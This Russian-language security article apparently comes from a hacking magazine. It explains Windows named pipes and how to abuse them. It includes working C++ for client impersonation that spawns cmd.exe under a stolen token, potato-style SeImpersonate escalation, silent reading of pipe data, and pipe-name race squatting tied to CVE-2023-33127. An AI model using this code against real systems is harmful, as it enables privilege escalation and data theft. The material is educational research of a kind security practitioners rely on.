Злая труба
Используем Named Pipes при атаке на Windows
В системе крутится огромное количество процессов: системные вроде explorer.
, RunTimeBroker.
, а также твои любимые браузер, Steam и МалварьПисатьБыстроСтудия.ехе. Большинство из них хранят молчание и не делятся никакой информацией с внешним миром — считай, такие процессы‑интроверты вроде нас с тобой. Однако бывает и иначе. Некоторые процессы должны передавать данные своим сородичам: информацию о состоянии CPU, разрешении экрана, нажимаемых символах на клавиатуре.
Простейший способ взаимодействия между двумя общими процессами — создание файла. Один процесс пишет, другой читает. Впрочем, это не самый удобный способ общения, правда? Здесь возникают проблемы с синхронизацией, атомарным доступом, настройкой дескрипторов безопасности...
Поэтому разработчики Windows придумали чуть более удобный способ передачи данных и изобрели огромное количество сущностей, позволяющих передавать данные между процессами. Одна из этих сущностей — именованный канал (Named Pipe).
Что такое Pipe
Пайп представляет собой объект типа FILE_OBJECT
, управляемый специальной файловой системой с именем NPFS — Named Pipe File System. Пайп позволяет писать и считывать из себя данные разным процессам, что и решает задачу их взаимодействия. На сетевом уровне передача данных происходит поверх протокола SMB.
Создание именованного канала происходит с помощью функции CreateNamedPipe().
HANDLE CreateNamedPipeA( [in] LPCSTR lpName, [in] DWORD dwOpenMode, [in] DWORD dwPipeMode, [in] DWORD nMaxInstances, [in] DWORD nOutBufferSize, [in] DWORD nInBufferSize, [in] DWORD nDefaultTimeOut, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes);
Давай посмотрим, за что отвечает каждое из полей:
-
lpName
— имя создаваемого пайпа. Оно может не быть уникальным. Например, в системе без проблем может быть создан пайп с именем1123
и следом за ним еще один1123
. Взаимодействовать клиенты, конечно же, будут с тем пайпом, который был создан раньше; -
dwOpenMode
— режим работы пайпа (ввод/вывод, только вывод или только ввод) плюс дополнительные флаги. Среди них выделяетсяFILE_FLAG_FIRST_PIPE_INSTANCE
, который позволяет ограничить возможность создания пайпов с одинаковым именем. Впрочем, к этому флагу мы еще вернемся; -
dwPipeMode
— режим работы пайпа. Пайп может передавать поток байтов, а может поток сообщений. Здесь же задается возможность контроля подключения удаленных клиентов и «удержания» клиентов до тех пор, пока все данные не будут считаны или записаны, — так называемый режим блокировки; -
nMaxInstances
— максимальное количество экземпляров канала. Определяет, сколько пайпов с таким именем может быть в системе. Можно указатьPIPE_UNLIMITED_INSTANCES
, чтобы ОС сама выбрала это количество, основываясь на доступных ресурсах; -
nOutBufferSize
,nInBufferSize
— позволяют указать размеры в байтах выходного и входного буфера именованных каналов. Можно указать0
, тогда система будет использовать размеры по умолчанию; -
nDefaultTimeOut
— длительность интервала ожидания в миллисекундах для функцииWaitNamedPipe(
;) -
lpSecurityAttributes
— атрибуты защиты. Кстати, это единственный механизм защиты в пайпах. Если в качестве этого значения передаватьNULL
, то к пайпу смогут получить полный доступ члены группы ЛА, система и создатель пайпа, а доступ на чтение будет у Everyone и учетки Anonymous. Короче, если при создании пайпа ты не указал дескриптор безопасности, то данные из этого пайпа сможет читать кто угодно.
Для работы с пайпом применяются еще некоторые функции (ссылки на документацию):
Первая функция дает возможность серверу ждать подключения клиента (клиент подключается «прозрачно» — ему достаточно указать пайп в вызове CreateFile(
или CallNamedFile(
).
BOOL ConnectNamedPipe( HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped)
Поля:
-
hNamedPipe
— хендл на созданный на сервере пайп; -
lpOverlapped
— позволяет контролировать асинхронные операции, связанные с клиентскими действиями на пайпе. Например, чтобы поток управления возвращался сразу же, а не после считывания всех байтов функциейReadFile(
.)
Соответственно, функция‑антоним — это DisconnectNamedPipe(
. Она дает тебе возможность отключить клиент от пайпа.
WaitNamedPipe(
дает клиенту возможность ждать подключения к серверу. Например, пытаться подключиться до тех пор, пока пайп не освободится или не пройдет пять минут.
BOOL WaitNamedPipeA( [in] LPCSTR lpNamedPipeName, [in] DWORD nTimeOut);
-
lpNamedPipeName
— имя пайпа; -
nTimeOut
— время в миллисекундах, в течение которого функция будет ожидать доступности пайпа. Можно указатьNMPWAIT_WAIT_FOREVER
для бесконечного ожидания.
Пример клиента и сервера
Для общего понимания предлагаю посмотреть, как может выглядеть передача строки с сервера на клиент.
// Server.cpp#include <Windows.h>#include <iostream>int main() { wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe"; wchar_t message[40] = L"Hello World"; HANDLE serverpipe = NULL; serverpipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 0, NULL); BOOL isPipeConnected = FALSE; isPipeConnected = ConnectNamedPipe(serverpipe, NULL); if (isPipeConnected) { DWORD dw; WriteFile(serverpipe, message, sizeof(message), &dw, NULL); std::cout << dw << "Writed bytes to pipe" << std::endl; DisconnectNamedPipe(serverpipe); } CloseHandle(serverpipe); return 0;}
// Client.cpp#include <Windows.h>#include <iostream>int main() { wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe"; // Можно засунуть айпишник "\\\\10.10.10.10\\pipe\\mypipe" HANDLE clientPipe = NULL; wchar_t newMessage[40] = { 0 }; // Коннект к пайпу clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); ReadFile(clientPipe, newMessage, sizeof(newMessage), NULL, 0); MessageBox(NULL, newMessage, NULL, MB_OK); return 0;}
Если хотим реализовать многопоточный сервер, то есть при каждом подключении клиента создавать поток, в справке есть хороший пример реализации. Мы также можем использовать функцию PeekNamedPipe(
для проверки того, нет ли в пайпе новых данных.
Изучение доступных пайпов
В системе одновременно работает множество именованных каналов. В следующих разделах будем их активно эксплуатировать, поэтому логично будет научиться находить работающие пайпы!
Process Hacker
Самый простой способ обнаружения пайпов — воспользоваться красивым GUI в Process Hacker.

C++
Для более глубокого контроля и написания собственных инструментов было бы неплохо создать полноценную тулзу для обнаружения работающих пайпов. Здесь нам подойдет особенность именования каналов — все они начинаются с .
. В действительности это отдельное пространство имен. По нему можно пробегаться так же, как и при поиске обычных файлов.
#include <windows.h>#include <iostream>#include <string>int main(){ HANDLE hFind; WIN32_FIND_DATA findFileData; LPCWSTR pipesPath = L"\\\\.\\pipe\\*"; hFind = FindFirstFile(pipesPath, &findFileData); if (hFind == INVALID_HANDLE_VALUE) { std::wcerr << L"Failed to find pipes, error: " << GetLastError() << std::endl; return 1; } do { std::wstring pipeName = L"\\\\.\\pipe\" + std::wstring(findFileData.cFileName); std::wcout << L"Found named pipe: " << pipeName; HANDLE hPipe = CreateFile( pipeName.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPipe != INVALID_HANDLE_VALUE) { DWORD clientPID; if (GetNamedPipeClientProcessId(hPipe, &clientPID)) { std::wcout << L", Client PID: " << clientPID; } else { std::wcerr << L", Failed to get client PID, error: " << GetLastError(); } if (GetNamedPipeServerProcessId(hPipe, &clientPID)) { std::wcout << L", Server PID: " << clientPID; } else { std::wcerr << L", Failed to get client PID, error: " << GetLastError(); } CloseHandle(hPipe); } else { std::wcerr << L", Failed to open pipe, error: " << GetLastError(); } std::wcout << std::endl; } while (FindNextFile(hFind, &findFileData) != 0); FindClose(hFind); return 0;}

Я также добавил пример обнаружения PID клиента пайпа и сервера. Я предполагаю, что клиент всегда будет нашим процессом, однако ты можешь воспользоваться функцией GetNamedPipeClientProcessId(
и в другом контексте: например, перехватив чужой хендл, как я описывал в статье «Ломаем дескрипторы! Как злоупотреблять хендлами в Windows».
Еще есть чуть более сложный вариант — сначала получить все хендлы, а потом среди них находить пайпы. Я бы гордо игнорировал этот метод, однако у меня в заметках сохранен такой код, значит, кому‑то когда‑то это понадобилось.
PowerShell
Согласись, что автоматизация и C++ — не самые близкие вещи. Исследовать пайпы можно и через PowerShell, можно даже сделать красивый вывод дескрипторов.
# Ко всем пайпам
Get-ChildItem \\.\pipe\ | ForEach-Object -ErrorAction SilentlyContinue GetAccessControl
# К конкретному пайпу
Get-ChildItem \\.\pipe\eventlog | ForEach-Object -ErrorAction SilentlyContinue GetAccessControl

IO Ninja
Но самый крутой вариант, особенно с целью найти уязвимость, — это IO Ninja. Эта утилита позволяет выводить максимально подробную информацию о пайпах и предоставляет все необходимые данные для ресерча.

PipeViewer
С IO Ninja может смело посоревноваться PipeViewer. У инструмента приятный графический интерфейс, автоматический вывод дескрипторов и функция PipeChat, позволяющая установить быстрое соединение с каналом.

Имперсонация клиентов
Предлагаю начать с базы. Серверы именованных каналов имеют право олицетворять подключенные клиенты. Причем если клиент не переопределял уровень имперсонации, то ему будет назначен стандартный — SecurityImpersonation. Такого уровня достаточно для запуска cmd.
от лица пользователя.
Сервер может нацепить на себя токен клиента через вызов функции ImpersonateNamedPipeClient().
BOOL ImpersonateNamedPipeClient( [in] HANDLE hNamedPipe);
Здесь hNamedPipe
— это хендл пайпа, к которому подключился клиент.
В этом и следующих разделах мы будем симулировать поведение клиента и сервера. В коде ты встретишь Server.
(Pipe Server) и Client.
— клиентская часть, которая подключается к пайпу.
Для имперсонации клиента достаточно лишь дождаться его подключения и вызвать функцию чтения.
// Client.cpp#include <iostream>#include <Windows.h>const int MESSAGE_SIZE = 512;int main(){ LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe"; HANDLE hClientPipe = NULL; wchar_t msg[] = L"imp"; DWORD dwBytesReaded; std::wcout << L"Connecting to " << cwPipeName << std::endl; hClientPipe = CreateFile(cwPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hClientPipe != NULL) { std::wcout << L"Success" << std::endl; while (true) { ReadFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL); WriteFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL); } } return 0;}
// Server.cpp#include <iostream>#include <windows.h>#include <sddl.h>int main() { LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe"; HANDLE hServerPipe = NULL; BOOL bPipeConnected = FALSE; DWORD dwErr; wchar_t msg[] = L"imp"; DWORD dwBytesWritten; SECURITY_DESCRIPTOR sd = { 0 }; SECURITY_ATTRIBUTES sa = { 0 }; if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) { wprintf(L"InitializeSecurityDescriptor() failed. Error: %d\n", GetLastError()); return NULL; } if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL)) { wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError()); return NULL; } hServerPipe = CreateNamedPipe(cwPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa); bPipeConnected = ConnectNamedPipe(hServerPipe, NULL); if (bPipeConnected) { std::wcout << "Client Connected!" << std::endl; WriteFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL); ReadFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL); if (ImpersonateNamedPipeClient(hServerPipe) == 0) { dwErr = GetLastError(); std::wcout << dwErr << std::endl; } HANDLE hSystemToken; HANDLE hSystemTokenDup; if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken)) { wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError()); return -1; } if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup)) { wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError()); return -1; } wchar_t command[] = L"C:\\Windows\\system32\\cmd.exe"; PROCESS_INFORMATION pi = {}; STARTUPINFO si = {}; ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); DWORD len; TOKEN_STATISTICS stats; if (::GetTokenInformation(hSystemTokenDup, TokenStatistics, &stats, sizeof(stats), &len)) { printf("Logon Session ID: 0x%08llX\n", (stats.AuthenticationId)); printf("Token Type: %s\n", stats.TokenType == TokenPrimary ? "Primary" : "Impersonation"); printf("Dynamic charged (bytes): %lu\n", stats.DynamicCharged); printf("Dynamic available (bytes): %lu\n", stats.DynamicAvailable); printf("Group count: %lu\n", stats.GroupCount); printf("Privilege count: %lu\n", stats.PrivilegeCount); } if (CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == 0) { dwErr = GetLastError(); std::wcout << dwErr << std::endl; } } return 0;}
В клиентском коде все очевидно — происходит лишь подключение к пайпу. В коде сервера создаем пайп, меняем его дескриптор (чтобы у всех были права на чтение/запись), после подключения клиента хватаем его токен и имперсонируем. Сервер рекомендую запускать от лица системы либо от учетной записи, у которой есть права на вызов CreateProcessWithTokenW(
.



Есть реализации и на других языках, вот два варианта на PowerShell: один за авторством S3cur3Th1sSh1t, второй из репозитория пользователя decoder-it.
От этой атаки, конечно же, есть защита. Клиент может контролировать уровень имперсонации. О защите подробно написано в ответе на StackOverflow. Если тебе интересно узнать, как конкретно работает имперсонация через пайпы, рекомендую изучить материал Джонатана Джонсона.
Чейн с SeImpersonate
Возможности имперсонации часто используются в популярных эксплоитах «картофельной» серии. Они позволяют повысить свои привилегии до уровня системы, имея доступ к учетной записи с SeImpersonatePrivilege. Общий концепт прост: стриггерить учетную запись системы на пайп, захватить токен, нацепить его на себя.
Вот несколько таких эксплоитов:
- PrintSpoofer — триггер на пайп происходит через службу печати;
- CoercedPotato — триггер через службу печати, а также через механизм PetitPotam со злоупотреблением функциями протокола MS-EFSR;
- DiagTrack — триггер через уязвимую службу DiagTrack;
- RasmanPotato — злоупотребление службой Rasman;
- magicAzureAttestService — служба AzureAttestService.
Отдельно хочу выделить эксплоит GodPotato. Глобально его логика ничем не отличается от инструментов, перечисленных выше, однако сам триггер происходит по методу Kerberos Relay. То есть идет злоупотребление DCOM-аутентификацией. Я подробно рассматривал этот механизм в материале «Ретрансляция Kerberos. Как работает RemoteKrbRelay» на «Хабре».
Вот что происходит при использовании этого эксплоита.
-
Запускается пайп‑сервер.
Запуск Pipe-сервера -
Через перезапись кода функция HookRPC() биндит на разрешенном 135-м порте (чтобы перехватывать SMB-аутентификацию) функции
RpcServerUseProtseqEp(
в RPC Dispatch Table. Вместо этого будет вызываться функция fun().) Перезапись RPC Dispatch Table -
В качестве конечной точки для подключения указывается пайп.
Эта функция пишется в RPC Dispatch Table, здесь можно увидеть эндпоинт Срабатывает триггер системы через маршаллинг вредоносного объекта OBJREF. Происходит обращение к OXID Resolver.
OXID Resolver отдает RPC String Binding на эндпоинт из пункта 3.
Происходит аутентификация на NamedPipe и дергается функция ImpersonateNamedPipeClient().

Скрытое чтение данных
Как ты уже знаешь, пайпы нужны для чтения данных. У пайпов есть дескриптор безопасности, который по умолчанию позволяет всем читать текстовые данные из пайпа. Сразу даже как‑то не верится: неужели мы можем считывать все данные из пайпа? Можем!
Нужно только учесть одну особенность: читают данные обычно с помощью стандартных API, например ReadFile(
. А такое считывание приведет к тому, что пайп опустеет. То есть данные будут считаны и удалены из пайпа. Для нас такое поведение недопустимо, поэтому на помощь приходит функция PeekNamedPipe(). Эта функция считывает данные, не удаляя их из пайпа.
С ней мы сможем получить список пайпов в системе, а потом в цикле считывать из них данные с помощью PeekNamedPipe(
и искать в них чувствительную информацию или хотя бы какие‑нибудь данные, которые помогут тебе продвинуться дальше.
Я немного изменил логику программы в части поиска пайпов, добавив возможность чтения данных, лежащих в пайпе, с выводом размерности. Код большой, целиком ищи на моем GitHub.

Гонка пайпов
Помнишь, я говорил, что можно создавать неограниченное количество каналов с одним и тем же именем? Система будет использовать тот канал, который был создан раньше. Можно считать, что все пайпы с одним названием организованы в формате очереди — First In First Out.
Таким образом, появляется возможность некоторого состояния гонки: кто быстрей, того и тапки. Есть одно исключение: если при создании пайпа используется флаг FILE_FLAG_FIRST_PIPE_INSTANCE
, то Windows автоматически проверит, нет ли пайпа с таким именем. Если имя уже занято, то пайп не создастся. Также стоит учесть параметр nMaxInstances
, который определяет максимальное количество пайпов с одним именем.
Держи в голове и еще одну особенность: если в системе уже создан пайп, то новые создаваемые пайпы с таким же именем будут наследовать дескриптор безопасности ранее созданного пайпа.
Как это можно эксплуатировать? Допустим, есть клиентское приложение, возможно даже работающее в другом контексте, которое пытается подключиться к такому же привилегированному приложению — серверу пайпов. Если мы сможем опередить серверное приложение и создать пайп с нужным именем раньше, то клиент подключится к нам и у нас будут все возможности для воздействия на него. Например, никто не помешает имперсонировать чужой контекст или отправлять специально созданные пакеты в пайп, ожидая, что клиент совершит вредоносные действия.
Итак, сценарий атаки на клиент по шагам.
- Определяем целевое приложение, которое создает пайп.
-
Обнаруживаем клиенты пайпа. Делать это можно через PipeViewer.
Поиск клиентов Пишем приложение, которое создает пайп с таким же именем, что и атакуемое приложение.
Реализуем Race Condition, создавая наш пайп раньше, чем приложение‑сервер.
Клиенты начинают подключаться к нам.
Проводим имперсонацию или пишем/читаем данные. В общем, воздействуем на клиент так, как можем.
Есть сценарий атаки на сервер. Держишь еще в голове информацию про дескриптор? Смотри:
- Обнаруживаем приложение, которое создает пайп.
- Можем попытаться пореверсить целевое приложение и попытаться обнаружить, какие его возможности доступны клиентам и что они могут делать с сервером. Следует также проверить DACL пайпа.
- Скорее всего, DACL не позволит нам подключаться к этому пайпу, поэтому здесь в игру и вступает наш Race Condition.
- Пишем программу, которая создает пайп с таким же именем, что и атакуемое приложение. Затем нужно сделать как‑то так, чтобы наша программа создала пайп раньше, чем атакуемое приложение.
- Если мы сможем опередить атакуемое приложение, то последующие создаваемые атакуемым приложением пайпы будут наследовать права доступа нашего пайпа. Это позволит нам подключиться к ранее недоступному пайпу и пользоваться его возможностями.
- Успешно подключаемся к пайпу в целевом приложении и злоупотребляем его возможностями.
Подобная ситуация уже встречалась в реальных условиях: это CVE-2023-33127. Подсистема CLR Diagnostics создавала пайп в любом дотнетовском приложении. Конечно же, просто так к этому пайпу подключиться было нельзя — это могла сделать только система или пользователь — владелец процесса. Однако у атакующего была возможность опередить CLR. В таком случае он успешно создавал пайп с нужным именем, а затем подключалась система CLR и создавала еще один пайп (считай, второй в очереди). В этот раз, так как DACL наследовался, созданный системой CLR в процессе .NET пайп позволял подключаться к себе. И тогда атакующий мог воспользоваться возможностями приложения, подгрузив в него вредоносный код.
Повторим пошагово.
- Эксплоит сначала должен запустить любое дотнетовское приложение от лица другого пользователя через Session Moniker. Моникеры я рассматривал в статье «Угон COM. Как работает кража сессии через механизм COM». Автор PoC запускал приложение PhoneExperienceHost.
- Приложение написано на .NET, поэтому платформа CLR будет пытаться создать пайп с именем
dotnet-diagnostic-{
.PhoneExperienceHost PID} - С помощью эксплоита обгоняем платформу CLR и создаем этот пайп в нашем процессе.
- Просыпается CLR, создает еще один пайп, уже в процессе
PhoneExperienceHost
. - На этот второй пайп наследуется дескриптор нашего пайпа (первого). А в нем мы можем прописать что угодно, например разрешение FullAccess группе Everyone.
- Подключаемся ко второму пайпу.
- Используем возможности приложения и подгружаем профилировщик кода с вредоносным пейлоадом. Здесь‑то и происходит LPE, потому что мы смогли: - инстанцировать .NET-приложение в чужой сессии; - создать в нем пайп, к которому можем подключиться; - подключиться к пайпу и злоупотребить его возможностями.
Для наглядности продемонстрирую эту атаку. Пусть есть некоторый пайп \\.\
, к которому подключается клиент, читает из него данные и выводит в консоль. Есть также легитимный Pipe Server, который этот пайп запускает и передает клиенту строку.
// Client.cpp#include <windows.h>#include <iostream>int wmain() { const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld"; HANDLE hPipe = CreateFileW( pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { std::wcerr << L"Error connecting to pipe. Error code: " << GetLastError() << std::endl; return 1; } wchar_t buffer[512]; DWORD bytesRead; if (!ReadFile(hPipe, buffer, sizeof(buffer), &bytesRead, NULL)) { std::wcerr << L"Error reading data. Error code: " << GetLastError() << std::endl; } else { std::wcout << L"Received message: " << buffer << std::endl; } CloseHandle(hPipe); return 0;}
#include <windows.h>#include <iostream>int wmain() { const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld"; HANDLE hPipe = CreateNamedPipeW( pipeName, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 512, 512, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { std::wcerr << L"Error creating named pipe. Error code: " << GetLastError() << std::endl; return 1; } std::wcout << L"Waiting for client connection..." << std::endl; if (ConnectNamedPipe(hPipe, NULL) == FALSE) { std::wcerr << L"Error connecting client. Error code: " << GetLastError() << std::endl; CloseHandle(hPipe); return 1; } const wchar_t* message = L"Hello from Pipe Server!"; DWORD bytesWritten; if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten, NULL)) { std::wcerr << L"Error sending data. Error code: " << GetLastError() << std::endl; } else { std::wcout << L"Message sent: " << message << std::endl; } CloseHandle(hPipe); return 0;}

Однако некий Evil.
оказался быстрее нашего Server.
. Смотри, что происходит:
// Evil.cpp#include <windows.h>#include <iostream>int wmain() { const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld"; HANDLE hPipe = CreateNamedPipeW( pipeName, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 512, 512, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { std::wcerr << L"Error creating named pipe. Error code: " << GetLastError() << std::endl; return 1; } std::wcout << L"Waiting for client connection..." << std::endl; if (ConnectNamedPipe(hPipe, NULL) == FALSE) { std::wcerr << L"Error connecting client. Error code: " << GetLastError() << std::endl; CloseHandle(hPipe); return 1; } const wchar_t* message = L"<img src=x onerror=alert()>!"; DWORD bytesWritten; if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten, NULL)) { std::wcerr << L"Error sending data. Error code: " << GetLastError() << std::endl; } else { std::wcout << L"Message sent: " << message << std::endl; } CloseHandle(hPipe); return 0;}

Как видишь, Evil.
создал пайп раньше, за ним тот же самый пайп создал и Server.
, но, согласно принципу FIFO, Windows дала возможность подключиться клиенту первым к Evil.exe, а Server.exe проигнорировала.
Выводы
Порой встроенные механизмы межпроцессного взаимодействия могут таить в себе самые неожиданные концепции и примитивы, которые позволят атакующему повыситься в системе, прочитать чувствительные данные или внедрить собственные библиотеки в чужие процессы. Для обнаружения таких векторов нужно обладать упорством, верой в себя и щепоткой удачи.